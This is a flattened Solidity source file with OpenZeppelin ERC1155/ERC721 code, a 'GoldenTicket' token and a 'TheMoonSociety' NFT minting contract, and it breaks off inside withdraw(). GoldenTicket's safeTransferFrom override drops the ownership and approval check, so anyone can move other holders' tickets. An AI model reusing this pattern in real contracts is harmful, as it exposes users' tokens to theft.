_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][to] += amount;
emit TransferSingle(operator, address(0), to, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `from`
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `from` must have at least `amount` tokens of token type `id`.
*/
function _burn(
address from,
uint256 id,
uint256 amount
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
emit TransferSingle(operator, from, address(0), id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/
function _burnBatch(
address from,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), ids, amounts, "");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
}
emit TransferBatch(operator, from, address(0), ids, amounts);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC1155: setting approval status for self");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver.onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver.onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
// File: contracts/GoldenTicket.sol
pragma solidity ^0.8.0;
contract GoldenTicket is ERC1155, Ownable {
string public name;
string public symbol;
mapping(uint => string) public tokenURI;
constructor() ERC1155("") {
name = "Golden Ticket";
symbol = "GT";
}
function mint(address _to) public onlyOwner {
_mint(_to, 1, 1, "");
}
function mintBatch(address[] calldata _to) external onlyOwner {
for (uint i = 0; i < _to.length; i++) {
mint(_to[i]);
}
}
function burn(uint _id, uint _amount) external {
_burn(msg.sender, _id, _amount);
}
function burnBatch(uint[] memory _ids, uint[] memory _amounts) external {
_burnBatch(msg.sender, _ids, _amounts);
}
function burnForMint(address _from, uint[] memory _burnIds, uint[] memory _burnAmounts, uint[] memory _mintIds, uint[] memory _mintAmounts) external onlyOwner {
_burnBatch(_from, _burnIds, _burnAmounts);
_mintBatch(_from, _mintIds, _mintAmounts, "");
}
function setURI(uint _id, string memory _uri) external onlyOwner {
tokenURI[_id] = _uri;
emit URI(_uri, _id);
}
function uri(uint _id) public override view returns (string memory) {
return tokenURI[_id];
}
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes memory data) public override {
_safeTransferFrom(from, to, id, amount, data);
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: contracts/TheMoonSociety.sol
pragma solidity >=0.7.0 <0.9.0;
contract TheMoonSociety is ERC721Enumerable, Ownable {
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
uint256 public cost = 0.15 ether;
uint256 public maxSupply = 10000;
uint256 public maxMintAmount = 5;
uint256 public nftPerAddressLimit = 20;
bool public paused = false;
bool public onlyWhitelisted = true;
address[] public whitelistedAddresses;
mapping(address => uint256) public addressMintedBalance;
GoldenTicket goldenTicket = new GoldenTicket();
mapping(address => uint256) public balancesGoldenTicket;
mapping(address => uint256) public freeMint;
constructor() ERC721("TheMoonSociety", "TMS") {
setBaseURI("ipfs://QmYyxNYAr9ZekDk2Pw88PgnpXvzbm4Z8GEnGXvFysLPpJ6/");
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
// public
function mint(uint256 _mintAmount) public payable {
require(!paused, "the contract is paused");
uint256 supply = totalSupply();
require(_mintAmount > 0, "need to mint at least 1 NFT");
require(_mintAmount <= maxMintAmount, "max mint amount per session exceeded");
require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded");
if (msg.sender != owner()) {
if(onlyWhitelisted == true) {
require(isWhitelisted(msg.sender), "user is not whitelisted");
uint256 ownerMintedCount = addressMintedBalance[msg.sender];
require(ownerMintedCount + _mintAmount <= nftPerAddressLimit, "max NFT per address exceeded");
}
if(_mintAmount==1&&balancesGoldenTicket[msg.sender]>=1&&freeMint[msg.sender]==0){
freeMint[msg.sender]+=1;
}else{
require(msg.value >= cost * _mintAmount, "insufficient funds");
}
}
for (uint256 i = 1; i <= _mintAmount; i++) {
addressMintedBalance[msg.sender]++;
_safeMint(msg.sender, supply + i);
}
}
function isWhitelisted(address _user) public view returns (bool) {
for (uint i = 0; i < whitelistedAddresses.length; i++) {
if (whitelistedAddresses[i] == _user) {
return true;
}
}
return false;
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
function setNftPerAddressLimit(uint256 _limit) public onlyOwner {
nftPerAddressLimit = _limit;
}
function setCost(uint256 _newCost) public onlyOwner {
cost = _newCost;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
maxMintAmount = _newmaxMintAmount;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function setOnlyWhitelisted(bool _state) public onlyOwner {
onlyWhitelisted = _state;
}
function whitelistUsers(address[] calldata _users) public onlyOwner {
delete whitelistedAddresses;
whitelistedAddresses = _users;
}
function withdraw() public payable onlyOwner {
